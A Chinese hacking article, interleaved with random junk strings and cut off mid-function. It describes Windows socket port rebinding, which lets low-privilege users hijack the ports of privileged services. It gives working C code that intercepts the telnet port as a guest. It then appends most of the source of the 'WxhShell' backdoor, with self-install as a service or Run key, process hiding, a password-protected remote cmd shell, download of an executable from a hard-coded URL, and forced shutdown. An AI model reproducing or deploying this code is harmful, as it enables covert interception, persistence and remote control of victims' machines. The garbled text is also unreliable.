在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
zz9.OnZ~ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
.xD-eWw3R y>o#Hq&qM saddr.sin_family = AF_INET;
r({(; *kIJv?%_} saddr.sin_addr.s_addr = htonl(INADDR_ANY);
C$hsR& <FJ#Hy+ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
qzLRA.#f^ >i.+v[)# 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
8R
z=)J #eaey+~ 这意味着什么?意味着可以进行如下的攻击:
f(C0&"4e 3646.i[D 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Y'Af I^K " c]Mz&z 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
3HA{18{4uP N8vWwN[3 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
9UwDa`^ V-
vVb 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
3Q#VD) $W2g2[+ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
JrQN-e! s)N1@RBR 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
e^FS/= sv[)?1S 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Oo0$n]*;W AV'> #include
jy*wj7fj1 #include
J3'"-,Hv #include
QVP
$e`4 #include
CeZ5Ti?F DWORD WINAPI ClientThread(LPVOID lpParam);
!!QMcx_C#/ int main()
EmH{G {
ucn aj| WORD wVersionRequested;
mkWIJH DWORD ret;
!pN,,H6Y WSADATA wsaData;
X3"V1@-i4$ BOOL val;
z
XvWo6 SOCKADDR_IN saddr;
n% *u;iG SOCKADDR_IN scaddr;
o#T,vu0s int err;
+F/ '+ SOCKET s;
~/NA?E-c SOCKET sc;
REt()$
7~ int caddsize;
vxwctJ& HANDLE mt;
!98s[)B: DWORD tid;
ctCfLlK wVersionRequested = MAKEWORD( 2, 2 );
eL(T err = WSAStartup( wVersionRequested, &wsaData );
a"v D+r7Ol if ( err != 0 ) {
2"mO"2d% printf("error!WSAStartup failed!\n");
E u@TCw8@ return -1;
mg;qG@? }
x,>=X`T saddr.sin_family = AF_INET;
1|gEY;Ru 2`lit@u&u //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
(YR] X_ +(<CE#bb[ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
sz)3
z saddr.sin_port = htons(23);
8U8"k if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
KctD=6 {
~MXPiZG? printf("error!socket failed!\n");
3*;{C|]S return -1;
x3vz4m[ }
:hevBBP val = TRUE;
b\^.5SEw //SO_REUSEADDR选项就是可以实现端口重绑定的
jR48.W if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
C!.6:Aj {
dJ|]W|q< printf("error!setsockopt failed!\n");
0h; -Yg return -1;
7?A}qmv }
`R; ct4- //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Ek4aC3 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
1LE8,Gm& //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
zcA"\ H_$"]iQ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
7lh%\ {
5%W3&F6% ret=GetLastError();
P= ]ZXj[ printf("error!bind failed!\n");
E-Mp|y /V return -1;
c\R!z&y~ }
9(H8MUF0{ listen(s,2);
H\ NO4= while(1)
Kj-`ru {
MjLyB^M caddsize = sizeof(scaddr);
?!
kup //接受连接请求
ly{~X sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
+ W +<~E if(sc!=INVALID_SOCKET)
Pajr`gU {
A5nu`e9& mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
\F<]l6E if(mt==NULL)
*D\nsJ*g {
|D^[]*cEH printf("Thread Creat Failed!\n");
Ak1f*HGl| break;
)JZfC&, }
#S1)n[ }
fCTjTlh CloseHandle(mt);
D}_\oE/n }
bhg"<I closesocket(s);
?49wq4L;a WSACleanup();
O'p7^"M return 0;
+C+3DwN }
"#p)Z{v"! DWORD WINAPI ClientThread(LPVOID lpParam)
7gJ`G@y {
l\(t~Q SOCKET ss = (SOCKET)lpParam;
_o`'b80; SOCKET sc;
n,fUoS unsigned char buf[4096];
R Jg# A` SOCKADDR_IN saddr;
1W-!f% long num;
y[}BFUy DWORD val;
QALMF rWH DWORD ret;
air{1="<- //如果是隐藏端口应用的话,可以在此处加一些判断
+]AE}UXZoh //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
cW3;5 saddr.sin_family = AF_INET;
tw.%'oJ7 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
yCQpqh saddr.sin_port = htons(23);
EGV@L# if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ebQYk$@ {
;)o%2#I printf("error!socket failed!\n");
mT~:k}u~W return -1;
\;g{qM 8 }
:qnRiK] val = 100;
{wd.aUB if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
|"ck;.) {
lQ)8zI ret = GetLastError();
K;YK[M1! return -1;
=b;v:HC }
c[Y7tj%y if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
O[-wm;_(=* {
ZL@7Mr!e ret = GetLastError();
)ll}hGS return -1;
MEo+S }
M>'-P if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
} #$Y^ +UN {
(D))?jnC printf("error!socket connect failed!\n");
(I\aGGW closesocket(sc);
8mMrGf[Q\ closesocket(ss);
H,?AaM[V return -1;
2o{Fp7l }
J4x1qY)Y&v while(1)
56L>tP {
?X=9@ m //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
$3FFb#r //如果是嗅探内容的话,可以再此处进行内容分析和记录
?Bk"3{hl //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
eyy&JjVs num = recv(ss,buf,4096,0);
gBrIqM i5 if(num>0)
n /rQ*hr send(sc,buf,num,0);
mWO=(}Fb\ else if(num==0)
w8>p[F5`O break;
-BB 5bsjA num = recv(sc,buf,4096,0);
JSO>rpO if(num>0)
dmf~w_(7 send(ss,buf,num,0);
:egSW2"5S else if(num==0)
whvM^ break;
agt7b@-5= }
3"q%-M|+Q closesocket(ss);
R{4O*i8# closesocket(sc);
cT." return 0 ;
@aBZ|8 }
%*LdacjZ :y]l`Mo - DGp'Xx_8 ==========================================================
Th@L68 yzXwxi1# 下边附上一个代码,,WXhSHELL
l=kgRh Dx iCq(; ==========================================================
0PTB3- *USZ2|i #include "stdafx.h"
RU#Q<QI( 2\m+ #include <stdio.h>
gpO@xk$ #include <string.h>
'9i:b]Hru #include <windows.h>
C[&Lh_F\ #include <winsock2.h>
W"z!sf5U #include <winsvc.h>
#{<Jm?sU #include <urlmon.h>
&oNy~l
o [7L1y) I( #pragma comment (lib, "Ws2_32.lib")
?EKYKLwr #pragma comment (lib, "urlmon.lib")
pNE!waR> v!40>[?|p #define MAX_USER 100 // 最大客户端连接数
S[* e K
Z #define BUF_SOCK 200 // sock buffer
.lRO;D #define KEY_BUFF 255 // 输入 buffer
y8
`H*s@ *bwLih!}H #define REBOOT 0 // 重启
!sfUrUu #define SHUTDOWN 1 // 关机
b8T'DY;~ t?{E_70W #define DEF_PORT 5000 // 监听端口
kvryDM %!x\|@C #define REG_LEN 16 // 注册表键长度
DUY#RJf #define SVC_LEN 80 // NT服务名长度
5P+3D{ H@OYtPHGR // 从dll定义API
~I2IgEj>] typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
bCc^)o/w typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
?6~RGg typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
3"&6rdF\jB typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
q!}&<w~| 5Ss=z // wxhshell配置信息
c1e7h l struct WSCFG {
AY|8wf,LS int ws_port; // 监听端口
W0l|E&fj[ char ws_passstr[REG_LEN]; // 口令
4l[f}Z int ws_autoins; // 安装标记, 1=yes 0=no
5jkW@ char ws_regname[REG_LEN]; // 注册表键名
`W{Ye=|[d# char ws_svcname[REG_LEN]; // 服务名
}1epn#O_4 char ws_svcdisp[SVC_LEN]; // 服务显示名
-`#L rO;n char ws_svcdesc[SVC_LEN]; // 服务描述信息
R (4 :_ xc char ws_passmsg[SVC_LEN]; // 密码输入提示信息
{Pu\KRU int ws_downexe; // 下载执行标记, 1=yes 0=no
|PTL!>ym2 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
/q(+r5k \ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Ge|caiH1I Z#MPlw0B };
Hd6Qy {,*- Pxy(YMv // default Wxhshell configuration
c~z{/L struct WSCFG wscfg={DEF_PORT,
dIMs{! "xuhuanlingzhe",
P2 f~sx9 1,
A+:K!|w "Wxhshell",
PK!=3fK4\F "Wxhshell",
D55dD> "WxhShell Service",
[WC-EDO2lb "Wrsky Windows CmdShell Service",
v5 $"v?PT "Please Input Your Password: ",
Uu8Z2M 1,
bV`Zo(z "
http://www.wrsky.com/wxhshell.exe",
#%B1,.A "Wxhshell.exe"
JFl@{6c };
X]Sr]M^EK L@0DT&5 // 消息定义模块
"5ah{,
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
e-\J!E'1F char *msg_ws_prompt="\n\r? for help\n\r#>";
,,b_x@y* char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
980[]&( char *msg_ws_ext="\n\rExit.";
$UO7AHk char *msg_ws_end="\n\rQuit.";
- C8h$P char *msg_ws_boot="\n\rReboot...";
(F~eknJ char *msg_ws_poff="\n\rShutdown...";
T?NwSxGo char *msg_ws_down="\n\rSave to ";
Y!CZ?c)@ )vhHlZ *+ char *msg_ws_err="\n\rErr!";
w/>k char *msg_ws_ok="\n\rOK!";
% e:VeP~ Pgs4/ char ExeFile[MAX_PATH];
v!K%\h2A int nUser = 0;
\O72PC+ HANDLE handles[MAX_USER];
}JAg<qy} int OsIsNt;
$OmcEd dt^yEapjM SERVICE_STATUS serviceStatus;
ATH0n>) SERVICE_STATUS_HANDLE hServiceStatusHandle;
cfa#a!Y4 k
h#|`E#, // 函数声明
d),@&MSN int Install(void);
=i\~][- int Uninstall(void);
NTls64AS. int DownloadFile(char *sURL, SOCKET wsh);
?cowey\m
. int Boot(int flag);
rJKX4,M void HideProc(void);
DJT)7l { int GetOsVer(void);
phEM1",4T int Wxhshell(SOCKET wsl);
!Kd/
lDY void TalkWithClient(void *cs);
*+lnAxRa? int CmdShell(SOCKET sock);
`L7 cS int StartFromService(void);
sw8Ic\vT int StartWxhshell(LPSTR lpCmdLine);
o#Rao#bD:
UYGl VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
F2OU[Z,-] VOID WINAPI NTServiceHandler( DWORD fdwControl );
*cq#>rN 'xvV;bi // 数据结构和表定义
b]Oc6zR,,~ SERVICE_TABLE_ENTRY DispatchTable[] =
}a-ikFQ] {
<`~]P$ {wscfg.ws_svcname, NTServiceMain},
"EQ}xj {NULL, NULL}
Vr`UF0_3q };
z35n3q ke'p8Gz // 自我安装
VqbMFr<k int Install(void)
9{?<.% {
24>{T5E char svExeFile[MAX_PATH];
^L<1S/~) HKEY key;
L&q~5 9 strcpy(svExeFile,ExeFile);
ps_CQh0 ?r2Im5N // 如果是win9x系统,修改注册表设为自启动
I&1h/ if(!OsIsNt) {
R qOEQ*k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
SL>>]A,E<` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>c8zMd RegCloseKey(key);
$bD 3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
;x|4Tm RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Js'COO RegCloseKey(key);
l?Bv9k.^? return 0;
"JbFbcj }
:G$NQ*(z }
l{_>?]S5 }
g}L2\i688 else {
;{j:5+' K\,&wU // 如果是NT以上系统,安装为系统服务
!A&Vg # SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
>2Z:=HT if (schSCManager!=0)
pJK puoiX {
%pe7[/ SC_HANDLE schService = CreateService
0ot=BlMu (
{;=+#QK/ schSCManager,
6(<AuhFu wscfg.ws_svcname,
C
`k^So) wscfg.ws_svcdisp,
=+A8s$Pb SERVICE_ALL_ACCESS,
/!d,f4n SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
<),FI <~ SERVICE_AUTO_START,
x{5I SERVICE_ERROR_NORMAL,
]%"Z[R svExeFile,
U_Emp[ NULL,
o_X"+ s NULL,
UIIunA9 NULL,
C Vyq/X NULL,
dD@T}^j *| NULL
sW@4r/F>:D );
(E\7Ui0Q if (schService!=0)
,Es5PmV@$% {
/N{x Ft/? CloseServiceHandle(schService);
>=r094< CloseServiceHandle(schSCManager);
aG`G$3 _wx strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
~Se/uL;* strcat(svExeFile,wscfg.ws_svcname);
FwmE1, if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
on\0i{0l8 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
T1\.~]-msb RegCloseKey(key);
>eW HPO return 0;
\ bd?
`." }
a~:'OW:Q }
[{f{E CloseServiceHandle(schSCManager);
X];a(7+2 }
&&Vz=6N }
N}pE{~Y By:A9s return 1;
8&3+=<U }
BVC\~j
j : ,LX3, // 自我卸载
3:dQN;= int Uninstall(void)
wNcf7/ky {
w3fi2B&q HKEY key;
)xT_RBR gMFTZQsP if(!OsIsNt) {
z*I= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+f;z{)%B RegDeleteValue(key,wscfg.ws_regname);
rF>:pS,`& RegCloseKey(key);
~~&8I!r e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
H [R|U RegDeleteValue(key,wscfg.ws_regname);
^Me__Y RegCloseKey(key);
,d&~#W] return 0;
RVlC8uJ;P }
MJ4+|riB }
oypX.nye_ }
ft?J|AG else {
pV<18CaJ !pQQkZol SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ppmDmi~X if (schSCManager!=0)
QVQe9{ "0 {
Ym2![FC1 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
3'
mQ=tKa if (schService!=0)
YDz:;Sp\ {
sj0Hv d9 if(DeleteService(schService)!=0) {
AL3zE=BL CloseServiceHandle(schService);
{[NBTT9& CloseServiceHandle(schSCManager);
pR; AqDQ return 0;
s@K|zOx }
OqHD=D[ CloseServiceHandle(schService);
{6 C!^ 5 }
-]A,SBs CloseServiceHandle(schSCManager);
GbBcC#0 }
bt-y6,> +E }
u4rG e! 'HH[[9Q return 1;
zxT&K| }
g()YP SHIK=&\~- // 从指定url下载文件
e#<%`\qH int DownloadFile(char *sURL, SOCKET wsh)
ikw_t? {
O{%yO=`r HRESULT hr;
4$@5PS#, char seps[]= "/";
118A6qyi char *token;
rB<
UOe char *file;
EO:i+e]= char myURL[MAX_PATH];
j1_CA5V char myFILE[MAX_PATH];
OU/PB diaLw strcpy(myURL,sURL);
:BNqr[=b token=strtok(myURL,seps);
Y'DI@ while(token!=NULL)
Z ZX|MA! {
/!P,o}l7 file=token;
F
MHpa token=strtok(NULL,seps);
K.JKE"j)d }
%f*8JUE16 ?qO_t;:0> GetCurrentDirectory(MAX_PATH,myFILE);
X8GIRL)lJ strcat(myFILE, "\\");
)8!""n~ strcat(myFILE, file);
J
XPE9uH send(wsh,myFILE,strlen(myFILE),0);
BwEO2a{ send(wsh,"...",3,0);
~]O~a}]g( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Cevl#c5p> if(hr==S_OK)
g-bHf]' return 0;
F$^RM3 else
es6!p 7p? return 1;
}[ld=9p( {M )Y6\v }
sV%<U-X 7:)= // 系统电源模块
|p-, B>p! int Boot(int flag)
3ktjMVy\ {
&&nvv &a HANDLE hToken;
hV)D,oN3 TOKEN_PRIVILEGES tkp;
}N&}6U H"=%|/1M0 if(OsIsNt) {
kD8$ir'UYG OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
^yb3L1y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Rr{mD#+
tkp.PrivilegeCount = 1;
5N@k9x tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
F;kY5+a7~e AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
NhU~'k if(flag==REBOOT) {
h.l^f>,/ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
[U5[;BNRD return 0;
|k\4\aLj }
_)"-zbh}{ else {
g=XvqD< if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
^KM' O8 return 0;
wDVKp[' }
bC{}&a }
>7V96jL$Y else {
^Vso`(Ss if(flag==REBOOT) {
!KKkw4 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
=\"88e;b2
return 0;
V|gW%Z,j }
?
%XTD39 else {
T~8= =Z{[ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
jhgS@g=@ZC return 0;
iyKAw
}
]w`)"{j5m }
7jL+c~ ePv3M&\J return 1;
WXV (R,*Tc }
c@7d4Jz q^; SZ^yW5 // win9x进程隐藏模块
)CJXkzOX void HideProc(void)
-d1 YG[1| {
zl^ %x1G &kUEnwQ- HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
duFVh8 if ( hKernel != NULL )
EmNJ_xY {
6Ri+DPf: pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
+pXYBwH
7Q ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
b
5<&hN4g FreeLibrary(hKernel);
8eq*q }
l25_J.e
U*(/eEtd- return;
>HNBTc=~t }
Ne#FBRu5 kl%%b"h' // 获取操作系统版本
M15Ce)oB1( int GetOsVer(void)
>cU#($X$^ {
nWb*u OSVERSIONINFO winfo;
'K&^y%~py, winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
VRU"2mQ.P6 GetVersionEx(&winfo);
d!0iv'^ t if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
8?LsV< return 1;
>M~1{ else
)Q= EmZbJz return 0;
diHK }
|y1O M !ij
R // 客户端句柄模块
0Xo>f"2<f int Wxhshell(SOCKET wsl)
;E:vsVK {
&n$kVNE SOCKET wsh;
/5:2g#S4 struct sockaddr_in client;
epN>;e z DWORD myID;
!iv6k~.e'2 _|+}4 ap while(nUser<MAX_USER)
sjGy=d{:oL {
vz6No%8X int nSize=sizeof(client);
4fauI%kc wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
E{s p if(wsh==INVALID_SOCKET) return 1;
$ix:S$ YYNh|
2 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
bUvVt3cm if(handles[nUser]==0)
Z5/*iun closesocket(wsh);
rebnV&- else
e~oh%l^C72 nUser++;
*.%z }
+@] ,JlYf WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
eJbZA&: )XCG4-1 return 0;
`]~1pc }
%#t*3[ 1.24ZX // 关闭 socket
Y"H'BT!b} void CloseIt(SOCKET wsh)
^^,cnDlm {
u00w'=pe) closesocket(wsh);
Ic2Q<V}oq nUser--;
/cHUqn30a ExitThread(0);
:1asY:)vNP }
B(|*u @TJxU // 客户端请求句柄
tTEw"DL_- void TalkWithClient(void *cs)
=csh=V@s {
H4B|c42 F$/7X~* SOCKET wsh=(SOCKET)cs;
21k,{FB'? char pwd[SVC_LEN];
=/5^/vwgY char cmd[KEY_BUFF];
hY5GNYDh char chr[1];
i~3\jD=< int i,j;
^4/
cN% r\ while (nUser < MAX_USER) {
1;v,rs M L|hELWru if(wscfg.ws_passstr) {
'4KN if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'p FK+j //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
:+_uyp2V //ZeroMemory(pwd,KEY_BUFF);
E] 6]c!2: i=0;
QM('bbN while(i<SVC_LEN) {
1.0: h*
72 f/# // 设置超时
^>Vl@cW0uz fd_set FdRead;
p40;@gUug struct timeval TimeOut;
>:Y"DX- FD_ZERO(&FdRead);
Q~R% |Q{& FD_SET(wsh,&FdRead);
aD^jlt TimeOut.tv_sec=8;
(H^)wDb TimeOut.tv_usec=0;
="p,~ivrz int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
aT4I sPA?_ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
uG7?:) pxv vpq"mpfkh if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
_-|/$ jZ pwd
=chr[0]; _u3%16,o
if(chr[0]==0xd || chr[0]==0xa) { 2P/ Sq
pwd=0;
F/SYmNp
break; R ;k1(p
} VUon>XQ
G
i++; Qz4eQlWhp
} iE0x7x P_
R
X N0v@V
// 如果是非法用户,关闭 socket 7}1Z7"?
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Tnv,$KOhs
} BUCPO}I
1%$t;R
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =;"e Z
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W7W(jMH
D\^mh{q(
while(1) { 5BJn_<
H Y~[/H+:
ZeroMemory(cmd,KEY_BUFF); -zg 6^f_pW
/HH_Zi0?N|
// 自动支持客户端 telnet标准 .wV-g:2
j=0; ;il+C!6zpf
while(j<KEY_BUFF) { A]laS7Q
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :}UjX|D
cmd[j]=chr[0]; kQF3DR$,B
if(chr[0]==0xa || chr[0]==0xd) { uZM%F)
cmd[j]=0; MQe|\SMd
break; DH7]TRCMZ)
} tmd{Gx}c
j++; C{:U<q
} q`VkA
\
j[,XJ,5=
// 下载文件 5g%D0_e5
if(strstr(cmd,"http://")) { y@@h )P#
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ( Sjlm^bca
if(DownloadFile(cmd,wsh)) z }Lf]w?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y[N@ )E_G
else >Hu3Guik]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B)*1[Jf{4
} :9DyABK=Cv
else { \JC_"gqt
2g~W})e
switch(cmd[0]) { 75pn1*"gQ
Dz,|sHCmk
// 帮助 j0^1BVcj
case '?': { ZkWMo=vL
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
[b+B"f6
break; O]Ey@7 &
} JXV#V7
// 安装 $O&N
case 'i': { 9?q ^yy
if(Install()) nA(5p?D+YB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y <`X$
else ~g9~D}48k'
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4k9$'
k
break; p"7]zq]'
} O=vD6@QI
// 卸载 6i;q=N$'
case 'r': { Zt&
7p
if(Uninstall()) {Mb2X^@7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dm%Q96*VAq
else u+y3(0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JqUft=p5
break; #)#J`s1R
} X(O:y^sX}
// 显示 wxhshell 所在路径 .}GOHW)}
case 'p': { *0vRVlYf
char svExeFile[MAX_PATH]; KRX\<@
strcpy(svExeFile,"\n\r"); Hh%"
strcat(svExeFile,ExeFile); i%GiWanG
send(wsh,svExeFile,strlen(svExeFile),0); Z`f?7/"B
break; /U,(u9bq
} uaYI3w@^
// 重启 F >H\F@Wl
case 'b': { Wv%F^(R7
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DQ}&J
if(Boot(REBOOT)) $VjMd f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1Q=L/keP
else { /oZvm
closesocket(wsh); \PD%=~
ExitThread(0); <I*N=;7
} ~1XC5.*-
break; wy^mh.= UX
} /l$fQ:l
// 关机 mG1!~}[
case 'd': { GPizR|}h
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~$ Po3]{s
if(Boot(SHUTDOWN)) E^Ch;)j|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mN
l[D
else {
PZvc4
closesocket(wsh); 3s?ZyQy
ExitThread(0); KYy oN
} Q@|"xKa
break; >sdF:(JV&
} #S]O|$&*
// 获取shell *%\Xw*\0
case 's': { W6`_lGTj
CmdShell(wsh); A~v[6*~>
closesocket(wsh); Y
O|hwhe_
ExitThread(0); M?Fv'YE
break; Lp3pJE
} MR: H3
// 退出 )y6
case 'x': { }O+S}Hbwy
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :#\jx
CloseIt(wsh); ]<ay_w;
break; I?nU+t;
} 6kMEm)YjT
// 离开 3sRI7g
case 'q': { V
lkJ$f5l
send(wsh,msg_ws_end,strlen(msg_ws_end),0); _dECAk
&b
closesocket(wsh); |9F-ZH~6
WSACleanup(); ZFh[xg'0
exit(1); aK(e%Ed t"
break; xb"e'Zh
} QpiDBJCL
} ~}/_QlX` K
} zlB[Eg^X
'R2*3<
// 提示信息 =(~*8hJ
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a^^OI|?
} {u0sbb(
} $C,`^n'
\rT>&o .i
return; -;;m/QM
} O'(D:D?
]ncK M?'O
// shell模块句柄 U6o]7j&6
int CmdShell(SOCKET sock) 1vAJ(O{-
{ + rM]RFi
STARTUPINFO si; JaR!9GVN7
ZeroMemory(&si,sizeof(si));
1D2RhM%
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uKTYb#E7
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .g7\+aiTUd
PROCESS_INFORMATION ProcessInfo; IGo5b-ds
char cmdline[]="cmd"; C!nbl+75
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); knzo 6
return 0; tkff\W[JU
} &h.?~Ri
%tPy]{S..
// 自身启动模式 aI|X~b
int StartFromService(void) KU Mk:5
c
{ M$Rh]3vqR
typedef struct L^PBcfg
{ eYn/F~5-
DWORD ExitStatus;
f+.sm
DWORD PebBaseAddress; +QOK]NJN
DWORD AffinityMask; YG5mzP<T
DWORD BasePriority; {$pi};
ULONG UniqueProcessId; 4H@7t,>
